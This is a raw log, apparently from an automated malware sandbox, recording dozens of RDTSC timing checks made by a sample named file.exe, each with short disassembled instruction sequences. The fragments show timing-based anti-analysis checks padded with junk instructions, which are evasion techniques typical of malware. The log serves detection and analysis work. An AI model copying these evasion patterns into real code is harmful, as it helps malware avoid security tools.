Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF22C second address: 13BF232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF949 second address: 13BF94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF94F second address: 13BF985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ecx, 04F42100h 0x0000000e lea eax, dword ptr [ebp+124804AAh] 0x00000014 xor ecx, 700C50C4h 0x0000001a nop 0x0000001b pushad 0x0000001c jmp 00007F65A450259Ah 0x00000021 ja 00007F65A4502598h 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF985 second address: 13BF989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF989 second address: 13BF98F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF98F second address: 13A6750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F65A4C18FA2h 0x00000008 jmp 00007F65A4C18FA7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 xor edi, dword ptr [ebp+122D2CCCh] 0x00000017 lea eax, dword ptr [ebp+12480466h] 0x0000001d mov ecx, dword ptr [ebp+122D29D4h] 0x00000023 nop 0x00000024 jmp 00007F65A4C18FA6h 0x00000029 push eax 0x0000002a js 00007F65A4C18F9Ch 0x00000030 pushad 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 push esi 0x00000034 pop esi 0x00000035 popad 0x00000036 nop 0x00000037 jno 00007F65A4C18F96h 0x0000003d push ebx 0x0000003e mov edi, dword ptr [ebp+122DBA77h] 0x00000044 pop edx 0x00000045 call dword ptr [ebp+122D1A5Ah] 0x0000004b pushad 0x0000004c jl 00007F65A4C18F9Ah 0x00000052 pushad 0x00000053 popad 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 jl 00007F65A4C18F9Ch 0x0000005c jng 00007F65A4C18F96h 0x00000062 jne 00007F65A4C18FB3h 0x00000068 js 00007F65A4C18F9Ch 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407652 second address: 1407658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407658 second address: 140765C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140765C second address: 1407662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407662 second address: 1407668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407668 second address: 140767A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F65A450259Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140AC8F second address: 140AC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A502 second address: 140A525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F65A45025A2h 0x0000000c popad 0x0000000d jng 00007F65A45025BBh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A525 second address: 140A52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A52B second address: 140A531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A847 second address: 140A851 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F65A4C18FA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A851 second address: 140A857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E68B second address: 140E6A1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65A4C18FA1h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412304 second address: 141230A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141230A second address: 141233C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA1h 0x00000007 jmp 00007F65A4C18F9Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F65A4C18FA0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411AD8 second address: 1411AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411AE3 second address: 1411AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411AE7 second address: 1411B00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A450259Fh 0x00000007 jp 00007F65A4502596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411D4E second address: 1411D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412060 second address: 1412084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F65A4502596h 0x0000000a pop edx 0x0000000b jnl 00007F65A450259Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F65A450259Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416F8C second address: 1416FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F65A4C18FA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416FAB second address: 1416FC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A450259Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141623B second address: 141624E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F65A4C18F9Ch 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14163AC second address: 14163C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A450259Dh 0x00000009 popad 0x0000000a pushad 0x0000000b jl 00007F65A4502596h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14163C7 second address: 14163E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A4C18FA4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14163E0 second address: 14163E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14163E6 second address: 14163FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A4C18FA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14163FA second address: 14163FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141651E second address: 141652C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416689 second address: 141668F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141668F second address: 14166A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A4C18FA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14166A4 second address: 14166A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14166A8 second address: 14166AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14167F9 second address: 141682A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F65A45025A6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F65A45025A3h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141682A second address: 1416852 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65A4C18F98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F65A4C18FA8h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B094 second address: 141B0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F65A45025A8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F65A45025A0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B0B1 second address: 141B0B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B35C second address: 141B360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B360 second address: 141B364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B364 second address: 141B385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65A45025A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B385 second address: 141B389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B389 second address: 141B3CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F65A4502596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F65A45025A4h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F65A45025AFh 0x0000001b jmp 00007F65A45025A7h 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B3CB second address: 141B3D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B3D1 second address: 141B3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B547 second address: 141B54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B54E second address: 141B557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF3E2 second address: 13BF3F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65A4C18F9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF3F5 second address: 13BF402 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF402 second address: 13BF44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F65A4C18F96h 0x0000000a popad 0x0000000b jc 00007F65A4C18F98h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 and edx, 495F67D6h 0x0000001b mov ecx, 715B80A2h 0x00000020 mov ebx, dword ptr [ebp+124804A5h] 0x00000026 mov dx, di 0x00000029 add eax, ebx 0x0000002b nop 0x0000002c jmp 00007F65A4C18F9Dh 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F65A4C18F9Dh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF44B second address: 13BF47E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A450259Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and edi, 2A01B043h 0x00000010 push 00000004h 0x00000012 xor dword ptr [ebp+122D1873h], edx 0x00000018 mov dword ptr [ebp+122D358Ah], eax 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F65A450259Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF47E second address: 13BF483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF483 second address: 13BF489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF489 second address: 13BF496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423AE7 second address: 1423AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423AEB second address: 1423AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421AB3 second address: 1421AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421AB7 second address: 1421ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421C14 second address: 1421C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422063 second address: 142206D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142206D second address: 14220B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F65A450259Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d jmp 00007F65A45025A9h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 jmp 00007F65A45025A2h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14220B0 second address: 14220B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422388 second address: 142238E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142238E second address: 1422392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142265E second address: 1422684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F65A45025A3h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F65A4502596h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142295E second address: 1422967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422967 second address: 142296B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422EE5 second address: 1422EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422EED second address: 1422EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422EF3 second address: 1422EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422EF7 second address: 1422EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14234C6 second address: 14234D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F65A4C18F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423769 second address: 142377F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65A450259Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jbe 00007F65A4502596h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14283D7 second address: 1428405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA3h 0x00000007 jbe 00007F65A4C18F96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jmp 00007F65A4C18F9Fh 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428405 second address: 142840A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14280F4 second address: 14280FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14280FC second address: 1428106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F65A4502596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428106 second address: 1428144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F65A4C18FA7h 0x00000011 push edi 0x00000012 jbe 00007F65A4C18F96h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428144 second address: 142814A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432653 second address: 1432672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432672 second address: 1432678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143278F second address: 1432793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432793 second address: 1432797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432797 second address: 14327B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a jl 00007F65A4C18F98h 0x00000010 pushad 0x00000011 jc 00007F65A4C18F96h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14330F0 second address: 143312F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F65A45025A8h 0x00000008 jng 00007F65A4502596h 0x0000000e jmp 00007F65A450259Ch 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007F65A45025B1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433559 second address: 143355D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143355D second address: 1433563 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433D21 second address: 1433D27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433D27 second address: 1433D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F65A450259Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433D40 second address: 1433D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433D44 second address: 1433D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143448E second address: 1434496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434496 second address: 143449E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143449E second address: 14344B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F65A4C18F9Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14344B4 second address: 14344BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F65A4502596h 0x0000000a rdtsc
